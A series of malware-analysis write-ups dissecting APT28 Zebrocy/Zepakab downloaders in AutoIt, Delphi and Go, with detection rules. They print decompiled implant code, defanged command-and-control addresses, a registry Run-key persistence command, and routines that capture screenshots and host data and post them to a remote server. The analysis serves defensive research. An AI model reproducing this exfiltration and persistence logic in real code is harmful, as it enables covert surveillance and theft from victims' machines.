1. “parsestring()” and “parsefile()” Functions
The Zebrocy/Zepakab malware leverages parse for information and delay walking through directories hex-decoding to $path.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab main excerpt  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
parsestring($path)
$delay = 20000
;%[1-5]%
$path = ($path, _hextostring("253125"), @AppDataCommonDir)
$path = ($path, _hextostring("253225"), @AppDataDir)
$path = ($path, _hextostring("253325"), @LOCALAPPDATADIR)
$path = ($path, _hextostring("253425"), @StartupDir)
$path = ($path, _hextostring("253525"), @SystemDir)
$path
parsefile($data)
$delay = (3, 7) * 62000
$ares = ($data, @CRLF)
@error = 15
($delay)

E. Zebrocy/Zepakab Downloader Implant (32-Bit for 32-bit AutoIt Compiled) (Wed Jan 16 12:10:59 2019)

The recent Zebrocy/Zepakab AutoIt downloader implant was UPX-packed and packed on Wed Jan 16 12:10:59 2019 UTC with the unpacked sample compilation timestamp of Wed Jan 16 06:10:59 2019 UTC) with the language set to English, Great Britain [LANG_ENGLISH,SUBLANG_ENGLISH_UK].
[IMAGE_FILE_HEADER]
0x114      0x0   Machine:                   0x14C     
0x116      0x2   NumberOfSections:          0x3       
0x118      0x4   TimeDateStamp:             0x5C3F1F53 [Wed Jan 16 12:10:59 2019 UTC]
0x11C      0x8   PointerToSymbolTable:      0x0       
0x120      0xC   NumberOfSymbols:           0x0       
0x124      0x10  SizeOfOptionalHeader:      0xE0      
0x126      0x12  Characteristics:           0x122     
Flags: IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LARGE_ADDRESS_AWARE

 

The payload has ProductName “Microsoft Windows Operating System” with the FileDescription “ServicesTray.”
The malware flow excerpt is as follows setting the downloader as “srhost.exe”.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;; Zebrocy/Zepakab main flow excerpt ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Opt("trayiconhide", 1)
$uri = "locale/protocol/volume.php"
$host = "hxxps://185[.]236[.]203[.]53/"
$call = True
$fp = "c:\ProgramData\Windows\Microsoft\Settings\srhost.exe"
$copybaras = ""
$argv = argv()
main()

The malware contained the following main functions:

Command Name Description
main() Convert host data to Base64 with padded “F” on the reverse length of Base64 data blob and appended to “img=” (until 5)
info() -> _computergetoss() Parse WMI “SELECT * FROM Win32_OperatingSystem”
scr() Obtains desktop screenshot
parseresponse() Installs to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run as “Security_Maintenance”
crocodile() Run the next stage via ShellExecute API
The “main” function essentially Base64’s collected host info and desktop screenshot blob with padding it with the algorithm concatenating “F” to reverse string length of the host collected data Base64 blob until 5 and adding it along with the Base64 host and desktop screenshot and appending to “img=” with the HTTPS server communication. This small addition prevents simple Base64 conversion of the data, which is done automatically by many network traffic analyzers with the goal to avoid basic plaintext traffic detection.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;; Zebrocy/Zepakab "main" function ;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func main()
 While $call
  $fo = FileOpen($fp, 2 + 8 + 16)
  $si = StringReplace(base64(info()), "\r\n", "")
  $sc = StringReplace(base64(scr()), "\r\n", "")
  If $si = "" Then Exit
  If $sc = "" Then Exit
  $coun = STRINGREVERSE(StringLen($si))
  For $k = StringLen($coun) To 5
   $coun = $coun & "F"
  Next
  $coun = "img=" & $coun & $si & $sc
  connect($coun, $fo)
  $ap = $fo
  crocodile($ap)
  If $call Then
   Sleep(60000)
  Else
   ExitLoop
  EndIf
 WEnd
EndFunc
The malware fingerprints host by parsing results of Windows Management Instrumentation (WMI) query of “SELECT * FROM Win32_OperatingSystem”.

Yara Signature

import "pe"
import "hash"
rule apt28_zebrocy_autoit_loader {
meta:
   reference = "Detects Possible Autoit APT28 Zebrocy downloader"
   author = “@VK_Intel / @sysopfb"
   date = "2019-01-21; Edited: 2019-01-22"
   type = "experimental"
strings:
// "AU3!EA068" header
$au3 = { 41 55 33 21 45 41 30 36 4D }
$autscr = "/AutoIt3ExecuteLine" fullword wide
$arch = " $MS = "MS " ascii wide
$Microsoft = "Microsoft Inc." ascii wide
$s0 = "PROCESSGETSTATS" fullword wide
$s1 = "SHELLEXECUTEWAIT" fullword wide
$s2 = "WINGETPROCESS" fullword wide
$s3 = "0Expected a \"=\" operator in assignment statement.*Invalid keyword at the start of this line." fullword wide
$s4 = "SHELLEXECUTE" fullword wide
$s5 = "SCRIPTNAME" fullword wide /* base64 encoded string 'H$H=3@0' */
$s6 = "PROCESSSETPRIORITY" fullword wide
$s7 = "HTTPSETUSERAGENT" fullword wide
$s8 = "PROCESSWAITCLOSE" fullword wide
$s9 = "PROCESSCLOSE" fullword wide
$s10 = "PROCESSWAIT" fullword wide
$s11 = "PROCESSEXISTS" fullword wide
$s12 = "PROCESSORARCH" fullword wide
$s13 = "AUTOITWINGETTITLE" fullword wide
condition:
uint16(0) == 0x5a4d and ($MS or $Microsoft) and $au3 and $autscr and $arch and filesize < 1500KB and all of ($s*) and pe.number_of_resources > 7 and
(for any i in (0..pe.number_of_resources - 1):
(pe.resources[i].type == pe.RESOURCE_TYPE_RCDATA and hash.md5(pe.resources[i].offset, 96) == "84a7952bb4bdb93c11e32fe2de63b00c"))
}

Let’s Learn: (Over)Analyzing One of the Latest APT28 Zepakab/Zebrocy Delphi Implant

Goal: Analyze one of the latest APT28 Zepakab/Zebrocy Delphi implant exploring its functionality (pseudo-source code level).

https://platform.twitter.com/widgets.js
Source:
APT28 Zepakab/Zebrocy implant (MD5: 3e713a838a68259ae2f9ef2eed05a761
Outline:

I. Background & Executive Summary
II. APT28 Zepakab/Zebrocy Malware Function Analysis
A. 'MainProcessor' Function
1. 'GetDesktopScreenshot' 
2. 'GetHostinformation'
3. 'PostDataParameters'
4. 'CheckInstall'
5. Execute Next Stage & Exit
B. 'GetHostinformation' Function
C. 'PostDataParameters' Function
D. 'MachineID' Function
E. 'LocalInstall' Function
F. 'RegistryInstall' Function
III. Yara Signature

I. Background & Executive Summary
This is a continuation of the APT28 Zepakab/Zebrocy implant malware analysis from previous analysis of these types of malware (1) (2) (3)(4). APT28 is also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, and Sednit.
One of the notable peculiarities is the malware hex-encoding with padded “@” (e.g., user-agent parser string), which meant to slightly complicate direct hex decoding of malware values.

The analysis explores pseudo-coded C++ code with Delphi Borland constructs. It is interesting the group continues to leverage Qhoster  AS49544 I3DNET, NL for its server (“../action-center/..” path) as the same exact server was noted communicated to the totally different URI (“../company-device-support/../” path) on the same exact server as reported by ESET earlier.
II. APT28 Zepakab/Zebrocy Malware Function Analysis
A. ‘MainProcessor’ Function
The APT28 main function calls the main functions of the malware as follows:
1. ‘GetDesktopScreenshot’ 
The sequence of Windows API and Delphi constructs to obtain the Desktop screenshot as (‘.jpg’) is as follows:

GetDesktopWindow -> GetDC -> Forms::TScreen::GetDesktopWidth ->
Forms::TScreen::GetDesktopHeight -> Graphics::TBitmap::TBitmap -> 
Jpeg::TJPEGImage::TJPEGImage -> Graphics::TBitmap::GetCanvas ->
Graphics::TCanvas::GetHandle -> BitBlt -> GetDesktopWindow > ReleaseDC

2. ‘GetHostinformation’
The malware obtains the host information enumerating ‘systeminfo’ and ‘taskskist’ combined with the current date and enumerated drives.
3. ‘PostDataParameters’
It leverages this function to call the server for the next stage.
4. ‘CheckInstall’
The sequence of Windows API calls to check if the payload exists locally is as follows:

v2 = FindFirstFileA(v1, &FindFileData) ->
if ((if v2 = (HANDLE)0xFFFFFFFF || (FindClose(FindFileData.dwFileAttributes &
FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY) and 0
//////////////////////////////
/////// Other than that //////
//////////////////////////////
FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow);

5. Execute Next Stage & Exit
The malware executes the next stage via ShellExecuteA API and exiting via Forms::TApplication::Terminate.
The relevant main pseudo-coded function is as follows:

////////////////////////////////////////////////
////// APT28 Zepakab MainProcessor Excerpt /////
////////////////////////////////////////////////
// 'hxxp://45[.]124[.]132[.]127/action-center/centerforserviceandaction/
// service-and-action[.]php'
System::__linkproc__ LStrLAsg(&v25, &str_687474703A2F2F3[1]);
GetDesktopScreenshot((int)&v18);
GetHostinformation((int)&v17, a3, a4, a5);
PostDataParameters(v25, (int)&v26, a2, a3, a4);
Sleep_0(4009u);
FindFirstFileA_Attrib
ShellExecuteA
do
{
GetDesktopScreenshot((int)&v18); // Make a desktop screenshot
System::__linkproc__ LStrAsg(v24 + 896, v18);
GetHostinformation((int)&v17, a3, a4, a5); // Collect host information
System::__linkproc__ LStrAsg(v24 + 892, v17);
PostDataParameters(v25, (int)&v26, a2, a3, a4); // Post host infromation to server
trim_process(v26, (int)&v16, a2, a3, a4);
System::__linkproc__ LStrLAsg(&v26, v16);
Sleep_0(4009u); // Sleep for 4009 miliseconds
hex_decode(v26, (int)&v15, a2, a3, a4);
LStrToPChar(v24, v15, *(_DWORD *)(v24 + 888));
if ( ++*(_DWORD *)(v24 + 0x388) >= 5 )
System::__linkproc__ Halt0();
// Check if installed via FindFirstFileA (FindFileData) attribute
a2 = CheckInstall(*(_DWORD *)(v24 + 888));
if ( a2 <= 0 )
// if not, sleep for 18000 miliseconds
Sleep_0(18000u);
}
while ( a2 <= 0 );
Sleep_0(3000u);
v11 = &savedregs;
v10 = &loc_4E6E36;
v9 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v9);
v7 = (const CHAR *)System::__linkproc__ LStrToPChar(*(_DWORD *)(v24 + 888));
// Run payload via ShellExecuteA
ShellExecuteA(0, 0, v7, 0, 0, 0);
__writefsdword(0, v9);
// Terminate application
Forms::TApplication::Terminate(*(Forms::TApplication **)off_4EF164[0]);
__writefsdword(0, v12);
v14 = (int *)&loc_4E6E7B;
System::__linkproc__ LStrArrayClr(&v15, 9);
return System::__linkproc__ LStrArrayClr(&v25, 2);
}

B. ‘GetHostinformation’ Function
The malware obtains the host information via running ‘SYSTEMINFO & TASKLIST’ commands (initially, hex-encoded padded with “@”) via cmd.exe \c pipe function concatenated with the current timestamp as leveraging Sysutils::Now and Sysutils::DateTimeToString.
Then, it obtains the drive information via GetLogicalDriveStringsA and GetDriveTypeA and querying for DRIVE_REMOVABLE, DRIVE_FIXED, DRIVE_REMOTE and concatenating the output.
For example:
UINT drive = GetDriveTypeA(v5);
if ( drive >= 2 && drive <= 4 ) // DRIVE_REMOVABLE, DRIVE_FIXED, DRIVE_REMOTE
The relevent pseudo-coded function is as follows:

////////////////////////////////////////////////
////// Zepakab GetHostinformation Excerpt /////
////////////////////////////////////////////////
int __usercall GetHostinformation(int a1, int a2, int a3, long double a4)
{
...
v4 = a1;
v15 = &savedregs;
v14 = &loc_4E6499;
v13 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v13);
System::__linkproc__ LStrLAsg(&v24, &str_[1]);// 'SYSTEMINFO & TASKLIST'
while ( System::Pos(&str___2[1], v24) > 0 ) // '@'
{
v5 = System::Pos(&str___2[1], v24);
System::__linkproc__ LStrDelete(&v24, v5, 1);
}
System::__linkproc__ LStrLAsg(&v23, &str____18[1]);//'\r\n'
System::__linkproc__ LStrClr();
Sysutils::Now();
__asm { fstp [ebp+var_18] }
Sysutils::DateTimeToString(LODWORD(v21), HIDWORD(v21));// Create Date Timestamp Now()
System::__linkproc__ LStrCat3(&v25, v22, v23);
v6 = v25;
GetDriveData((int)&v20, a2); // GetDrive Information 
// (removable fixed remote, size total: , size free: )
System::__linkproc__ LStrCatN(&v25, 4, v7, v13, v6, v20, v23, v23);
v8 = v25;
v9 = *off_4EF164[0];
unknown_libname_1118();
System::__linkproc__ LStrCatN(&v25, 3, v10, v14, v13, v8, v19, v23);
hex_decode(v24, (int)&System::AnsiString, v4, a2, a3);
Sysutils::Trim(System::AnsiString);
PipeCmdReadFile(v17, (int)&v18, v4, a2); // CMD Command Runner: 
 // 'cmd.exe /c pipe CreateProcessA'
  System::__linkproc__ LStrCat(&v25, v18);
  while ( System::Pos(&str___5[1], v25) > 0 )   // '&'
  {
    v11 = System::Pos(&str___5[1], v25);
    *(_BYTE *)(j_unknown_libname_87_0(&v25) + v11 - 1) = 44;
  }
  System::__linkproc__ LStrAsg(v4, v25);
  __writefsdword(0, v13);
  v15 = (int *)&loc_4E64A0;
  System::__linkproc__ LStrArrayClr(&System::AnsiString, 5);
  return System::__linkproc__ LStrArrayClr(&v22, 4);
}

C. ‘PostDataParameters’ Function
The malware contactenates and adds the following decoded URI parameters as follows (with the hardcoded padded with ‘@’ user-agent as “Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1”):

info_w
syss
action

It leverages the following Delphi constructs:

TIdCustomHTTP
cls_IdHTTP_TIdHTTP
Idhttp::TIdCustomHTTP::GetRequestHeaders()
Idhttp::TIdCustomHTTP::SetAllowCookies((int)v24, v8)
TIdCustomHTTP with Classes::TStrings

The relevant pseudo-coded function is as follows:

////////////////////////////////////////////////
////// Zepakab PostDataParameters Function /////
////////////////////////////////////////////////
int __usercall PostDataParameters(int a1, int a2, int a3, int a4, int a5)
{
...
v18 = 0;
v19 = 0;
v20 = 0;
v21 = a2;
v23 = a1;
System::__linkproc__ LStrAddRef(v15, v16, v17);
v14 = &savedregs;
v13 = &loc_4E69A5;
v12 = (int *)__readfsdword(0);
__writefsdword(0, (unsigned int)&v12);
LOBYTE(v5) = 1;
v22 = (System::TObject *)unknown_libname_57(cls_Classes_TStringList, v5);
hex_decode((int)&str_737973733D[1], (int)&v19, a3, a4, a5);// 'syss='
System::__linkproc__ LStrCat(&v19, *(_DWORD *)(dword_4F4630 + 892));
(*(void (__fastcall **)(System::TObject *, int, _DWORD))(*(_DWORD *)v22 + 56))(v22, v19, *(_DWORD *)v22);
hex_decode((int)&str_616374696F6E3D[1], (int)&v18, a3, a4, a5);// 'action='
System::__linkproc__ LStrCat(&v18, *(_DWORD *)(dword_4F4630 + 896));
(*(void (__fastcall **)(System::TObject *, int))(*(_DWORD *)v22 + 56))(v22, v18);
v24 = ClassCreate((Idbasecomponent::TIdInitializerComponent *)&cls_IdHTTP_TIdHTTP, 1);
v12 = &savedregs;
v11 = &loc_4E6968;
v10 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v10);
System::__linkproc__ LStrLAsg(&v20, &str__M__o_z_il_la__[1]);
// 'Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1'
while ( System::Pos(&str___3[1], v20) > 0 ) // '@'
{
v6 = System::Pos(&str___3[1], v20);
System::__linkproc__ LStrDelete(&v20, v6, 1);
}
v7 = Idhttp::TIdCustomHTTP::GetRequestHeaders(v24);
System::__linkproc__ LStrAsg(v7 + 136, v20);
LOBYTE(v8) = 1;
Idhttp::TIdCustomHTTP::SetAllowCookies((int)v24, v8);
*((_BYTE *)v24 + 288) = 1;
TIdCustomHTTP_0(a3, a4, a5, (int)&savedregs); // '?info_w='
__writefsdword(0, v10);
System::TObject::Free(v24);
System::TObject::Free(v22);
__writefsdword(0, (unsigned int)v13);
v15 = &loc_4E69AC;
System::__linkproc__ LStrArrayClr(&v18, 3);
return System::__linkproc__ LStrClr();
}

D. ‘MachineID’ Function
The malware ID is generated GetVolumeInformationA(c:\\) of VolumeNumber concatenated with “-” and computer name via GetComputerNameA API return.
The relevant pseudo-coded function is as follows:

////////////////////////////////////////////////
//////// APT28 Delphi MachineID Function ///////
////////////////////////////////////////////////
int __usercall MachineID(int a1, int a2)
{
...
  MaximumComponentLength = 0;
  v11 = 0;
  v10 = 0;
  v9 = 0;
  v8 = a2;
  v2 = a1;
  v7 = &savedregs;
  v6 = &loc_4E5C66;
  v5 = (CHAR *)__readfsdword(0);
  __writefsdword(0, (unsigned int)&v5);
  LStrClr((int)&str_0_23[1], 16, a1);
  if ( GetVolumeInformationA("c:\\", 0, 0, &VolumeSerialNumber, &MaximumComponentLength, \
&MaximumComponentLength, 0, 0) )
  {
    GetComputerNameA_0(v5, v6);
    IntToHexStrCat(v11, (int)&v14);
    v3 = v14;
    if ( v14 )
      v3 = *(_DWORD *)(v14 - 4);
    if ( v3 < 8 )
    {
      LStrClr((int)&str___87[1], 17, (int)&v10);// '-'
      System::__linkproc__ LStrCat(&v14, v10);
    }
    System::__linkproc__ LStrCopy(&v14);
    Sysutils::IntToHex(VolumeSerialNumber, 8);
    System::__linkproc__ LStrCat3(v2, v9, v14);
  }
  __writefsdword(0, (unsigned int)v7);
  v9 = &loc_4E5C6D;
  System::__linkproc__ LStrArrayClr(&v9, 3);
  return System::__linkproc__ LStrClr();
}

E. ‘LocalInstall’ Function
The ‘LocalInstall’ functions leverages hex decoding function coupled with GetEnvironmentVariable(%APPDATA%) concactenating with the LStrCat3 the decoded “\Notification\” to create local install path as “%APPDATA%\Notification\”.
The relevant pseudo-coded function is as follows:

////////////////////////////////////////////////
//////// LocalInstall Function ////////////
////////////////////////////////////////////////
int __usercall LocalInstall(int a1, int a2, int a3)
{
v10 = 0;
v9 = 0;
v3 = a1;
v8 = &savedregs;
v7 = &loc_4E6BC8;
v6 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v6);
hex_decode((int)&str_5C4E6F746966696[1], (int)&v10, a1, a2, a3);// '\\Notification\\'
v4 = v10;
Sysutils::GetEnvironmentVariable((const int)&str_APPDATA[1]);// '%APPDATA%'
System::__linkproc__ LStrCat3(v3, v9, v4);
__writefsdword(0, v6);
v8 = (int *)&loc_4E6BCF;
return System::__linkproc__ LStrArrayClr(&v9, 2);
}
if ( !v26 )
{
v5 = *off_4EF164[0];
unknown_libname_1118();
Sysutils::ExtractFilePath(System::AnsiString);
}
hex_decode((int)&str_6D6472762E65786[1], (int)&v21, a2, a3, a4);// 'mdrv.exe'
System::__linkproc__ LStrCat3(v24 + 888, v26, v21);

...
}

F. ‘RegistryInstall’ Function
The ‘RegistryInstall’ function sets up the malware persistence in

'Software\Microsoft\Windows\CurrentVersion\Run' disguised as 'UpdDriver'

The relevant pseudo-coded function is as follows:

////////////////////////////////////////////////
//////// RegistryInstall Function ////////////
////////////////////////////////////////////////
int __usercall RegistryInstall(int a1, int a2, int a3)
{
...

v7 = 0;
v6 = &savedregs;
v5 = &loc_4E6FAE;
v4 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v4);
hex_decode((int)&str_557064447269766[1], (int)&v7, a1, a2, a3);// 'UpdDriver'
// 'Software\Microsoft\Windows\CurrentVersion\Run'
WriteKey(&str_Software_Micros[1], v7, *(_DWORD *)(dword_4F4630 + 888));
__writefsdword(0, v4);
v6 = (int *)&loc_4E6FB5;
return System::__linkproc__ LStrClr();
}

III. Yara Signature

rule apt28_zepakab_delphi_implant {
   meta:
      reference = "Detects APT28 Zepakab/Zebrocy Delphi Implant"
      author = "@VK_Intel"
      date = "2019-01-09"
      hash1 = "cd925e2464d251f02b4d425e301acf276e13eeccbbf5996ade5a6f355802abb7"
      type = "experimental"
strings:
      $b0 = "http://www.borland.com/namespaces/Types" fullword ascii wide
      $b1 = "SOFTWARE\\Borland\\Delphi\\RTL" fullword ascii wide
      $ap0 = "ShellExecuteA" fullword ascii wide
      $ap1 = "GetDriveTypeA" fullword ascii wide
      $ap2 = "FindFirstFileA" fullword ascii wide
      $ap3 = "GetDesktopWindow" fullword ascii wide
      $ap4 = "GetEnvironmentVariableA" fullword ascii wide
      $ap5 = "BitBlt" fullword ascii wide
      $ap6 = "GetDriveTypeA" fullword ascii wide
      $sleep = "Sleep" fullword ascii wide
      $sysutils = { 79 73 55 74 69 6c 73 }
condition:
    ( uint16(0) == 0x5a4d and filesize > 1000KB and all of ($b*) and all of ($ap*) and #sleep > 1 and $sysutils)
}

 

Let’s Learn: In-Depth on APT28/Sofacy Zebrocy Golang Loader

Goal: Reverse engineer the latest APT28/Sofacy Zebrocy loader, coded in the Go programming language, oftentimes referred to Golang.

https://platform.twitter.com/widgets.js
Source:
UPX-packed APT28/Sofacy Zebrocy Loader (MD5: 602d2901d55c2720f955503456ac2f68)
Outline:

I. Background & Summary
II. Zebrocy main* Functions
A. main_init
B. main_main
C. main_Parse
III. Yara Signature

Analysis:
I. Background & Summary
Palo Alto Unit 42 recently discovered and reported one of the latest Sofacy/APT28 group’s Zebrocy samples, compiled in the Golang programming language. This group is also known as Fancy Bear, STRONTIUM, Pawn Storm, and Sednit. 
I recommend reading research by Robert Falcone and Unit 42 titled “Sofacy Creates New ‘Go’ Variant of Zebrocy Tool.” This new twist of leveraging Golang for malware compilation complicates binary analysis and comparison across other samples as the group deploys quite a bit with programming languages such as Delphi and C#.
By and large, analysis reveals that this  Zebrocy version is unsophisticated and heavily relies on various Golang open source code templates from GitHub including iamacarpet/go_win64api (ProcessList, InstalledSoftwareList, ListLoggedInUsers,SessionDetails/FullUser), shirou_gopsutil (host_Info), and kbinani/screenshot (NumActiveDisplays, GetDisplayBounds, CaptureRect). The malware capabilities include installation in HKCU registry as “Media Center Extender Service” and locally in %LOCALAPPDATA%, execution via “cmd”, profiling a victim system, obtaining desktop screenshots, and sending the data to the server. The original Golang Zebrocy project contains the following debugging path “C:/!Project/C1/ProjectC1Dec/main.go” with the “ProjectC1Dec” name.
Thanks to the released Golang IDA code script helpers, developed by George Zaytsev, this malware introduced an interesting angle allowing to dive deeper into reversing of this Zebrocy Golang loader. 
II. Zebrocy main* Functions
Essentially, Zebrocy Golang loader is, by and large, a slightly modified copy/paste code from GitHub related to various open source Golang libraries. For example, the open source Golang code to retrieve a list of loggedInUsers is as follows: 

package main

import (
"fmt"
wapi "github.com/iamacarpet/go-win64api"
)

func main(){
// This check runs best as NT AUTHORITY\SYSTEM
//
// Running as a normal or even elevated user,
// we can't properly detect who is an admin or not.
//
// This is because we require TOKEN_DUPLICATE permission,
// which we don't seem to have otherwise (Win10).
users, err := wapi.ListLoggedInUsers()
if err != nil {
fmt.Printf("Error fetching user session list.\r\n")
return
}

fmt.Printf("Users currently logged in (Admin check doesn't work for AD Accounts):\r\n")
for _, u := range users {
fmt.Printf("\t%-50s - Local User: %-5t - Local Admin: %t\r\n", \
u.FullUser(), u.LocalUser, u.LocalAdmin)
}
}

This same code is copied and embedded as part of the malware main_Session_List routine as observed in pseudo-code.

The Golang version of the malware consists of the following 16 main_* named functions and their detailed descriptions:

Golang Function Name Description
main_GetDisk get disk via “cmd”
main_Getfilename obtain path to “%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}\wcncsvc.exe”
main_CMDRunAndExit execute a file and exit via “cmd”
main_Tasklist retrieve process list via iamacarpet/go_win64api/ProcessList method
main_Installed retrieve installed software via iamacarpet_go_win64api_InstalledSoftwareList method
main_Session_List retrieve active session list (logged in users + Run-As users) via iamacarpet/go_win64api/ListLoggedInUsers method
main_List_Local_Users retrieve a formatted list of local users via theListLocalUsers method
main_systeminformation retrieve host information via shirou/gopsutil/host_Info method
main_CreateSysinfo concatenate and format all the victim data from main_Tasklist, main_GetDisk, time_time_Now, main_Installed, main_Session_List, main_List_Local_Users, and time_Time_Format.
main_ParseData call main_Getfilename and create a copy of itself in %LOCALAPPDATA% and creates a registry key via cmd “reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Media Center Extender Service,/d”
main_SendPOSTRequests send a server POST request, call time_Sleep(4230196224, 6) and if after 19 attempts, exits via os.exit, otherwise call main_main, then main_ParseData, and main_ParseData, main_CMDRunAndExit.
main_Screen take a screenshot of the desktop
main_GetSND get stdin from “cmd”
main_PrcName get path to itself process
main_main run the main function of the Golang Zebrocy
main_init initialize main structures necessary for Golang malware execution

A. main_init
The malware starts with initializes various libraries necessary for Golang execution (net, encoding, regular expressions, and necessary reliant GitHub project libraries). The C++ pseudo-coded Golang malware routine is as follows:

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_init ////
//////////////////////////////////////////

int main_init()
{

if ( (unsigned int)&_0 <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
runtime_morestack_noctxt();
result = (unsigned __int8)byte_8625A6;
if ( (unsigned __int8)byte_8625A6 <= 1u )
{
if ( byte_8625A6 == 1 )
runtime_throwinit();
byte_8625A6 = 1;
bytes_init();
encoding_hex_init(); // hex_encode init
fmt_init(); // fmt init
image_jpeg_init(); // image jpeg init
io_ioutil_init(); // io util
net_http_init(); // http util
net_url_init(); // net url
os_init(); // os init
os_exec_init(); // os exec init
path_filepath_init(); // file path init
regexp_init(); // regular expressions oinit
strings_init(); // string init
syscall_init(); // syscall init
time_init(); // timer init
github_com_iamacarpet_go_win64api_init(); // golang enumerate lib
github_com_kbinani_screenshot_init(); // golang screenshot lib
result = github_com_shirou_gopsutil_host_init(); // go host enum lib
byte_8625A6 = 2;
}
return result;
}

B. main_main
The main_main function calls initialize other important main calls
retrieving the path to the process of itself, obtaining cmd stdin output, retrieving system information, making a screenshot, and sending POST requests to the main command-and-control server.
The pseudo-coded C++ code is as follows:

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_main ////
//////////////////////////////////////////
int main_main()
{

...

if ( (unsigned int)&retaddr <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
runtime_morestack_noctxt();
main_PrcName(); // get path to itself
strings_Contains(v1, v3, &byte_66EE33, 6); // "comsvccookie"
if ( v5 )
{
// get Cmd_Stdin pipe
main_GetSND(v10, v12);
v1 = v0;
v3 = v2;
// retrieve system info
main_CreateSysinfo();
v4 = v0;
v5 = v2;
// retrieve screenshot
main_Screen(v2, v0);
// "hxxp://89[.]37[.]226[.]123/advance/portable_version/service[.]php"
result = main_SendPOSTRequests((int)domain, 57, v2, v4, v2, v4, v2, v4);
}
else
{
result = main_SendPOSTRequests(
(int)&word_673186, // http://google.comif-modified-since
17,
(int)"01456:;?@BCLMNOPSZ[\"\\\n\r\t",
1,
(int)"1456:;?@BCLMNOPSZ[\"\\\n\r\t",
1,
(int)"1456:;?@BCLMNOPSZ[\"\\\n\r\t",
1);
}
return result;
}

C. main_Parse
The main_Parse function serves as the main persistency script writing the binary to %LOCALAPPDATA% and adding itself to HKCU\Software\Microsoft\Windows\CurrentVersion\Run as “Media Center Extender Service.”

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_ParseData ////
//////////////////////////////////////////
int __cdecl main_ParseData(int a1, int a2)
{

// Get %LOCALAPPDA% new file path
//"%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}\wcncsvc.exe"
main_Getfilename();
v24 = v2;
v25 = v3;
os_Create(v3, v2);
if ( runtime_deferproc(12, off_68613C) )
{
result = runtime_deferreturn(v11);
}
else
{
// Write itself to the specified path
io_ioutil_WriteFile(v25, v24, v14, v17, v18, 420, v21);
((void (*)(void))loc_44CDC8)();
v30 = v25;
v31 = v24;
os_exec_Command((int)&cmd, 3, (int)&v29, 2, 2);
runtime_newobject(obj_byte);
*v12 = 1;
v4 = v19;
v5 = *(_BYTE *)v19;
if ( dword_862D30 )
runtime_gcWriteBarrier(v19);
else
*(_DWORD *)(v19 + 76) = v12;
os_exec__ptr_Cmd_Run(v4, v12, v15);
((void (*)(void))loc_44CDC8)();
// "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run
// /v Media Center Extender Service /d"
runtime_concatstring3(0, (unsigned int)dword_682308, 96, v25, v24, &word_66E71E, 4, v22);
v27 = v6;
v28 = v23;
os_exec_Command((int)&cmd, 3, (int)&v26, 2, 2);
runtime_newobject(obj_byte);
*v13 = 1;
v7 = v20;
v8 = *(_BYTE *)v20;
if ( dword_862D30 )
runtime_gcWriteBarrier(v20);
...
}

III. Yara Signature

rule apt28_win_zebrocy_golang_loader {
meta:
description = "Detects unpacked APT28/Sofacy Zebrocy Golang."
author = "@VK_Intel"
date = "2018-12-21"
hash = "15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7"
strings:

// main_init
$x0 = {6d 61 69 6e 2e 69 6e 69 74}

// main_main
$x1 = {6D 61 69 6e 2e 6d 61 69 6e}

// main_Parse
$x2 = {6d 61 69 6e 2e 50 61 72 73 65 44 61 74 61}

// main.GetSND
$x3 = {6d 61 69 6e 2e 47 65 74 53 4e 44}

// main.PrcName
$x4 = {6d 61 69 6e 2e 50 72 63 4e 61 6d 65}

condition:
( uint16(0) == 0x5a4d and
( 4 of ($x*) )
)
}

Let’s Learn: Dissecting APT28 Zebrocy Delphi Loader/Backdoor Variants: Version 6.02 -> Version 7.00

Goal: Analyze and document the progression of APT28 Zebrocy Delphi loader/backdoor variants from 6.02 to 7.00.

https://platform.twitter.com/widgets.js
Source:

MD5: Zebrocy Delphi Variant First Seen
84352ccad3cfa152d98cf76b08623b92 2018-12-11 13:14:34
fe0da70a592d25ddbfbd47b22f88542f 2018-12-13 11:49:12
4384c701308a9d3aa92f49615ec74b2d 2018-06-26 14:08:28
26b213343bac2b4c69a261a2f5c00e89 2018-12-13 11:49:32
47a026d93ae8e0cc292e8d7a71ddc89e 2018-12-13 11:49:31

Outline:

I. Background & Summary
II. Zebrocy Delphi Malware: Version 6.02
III. Zebrocy Delphi Malware: Version 7.00
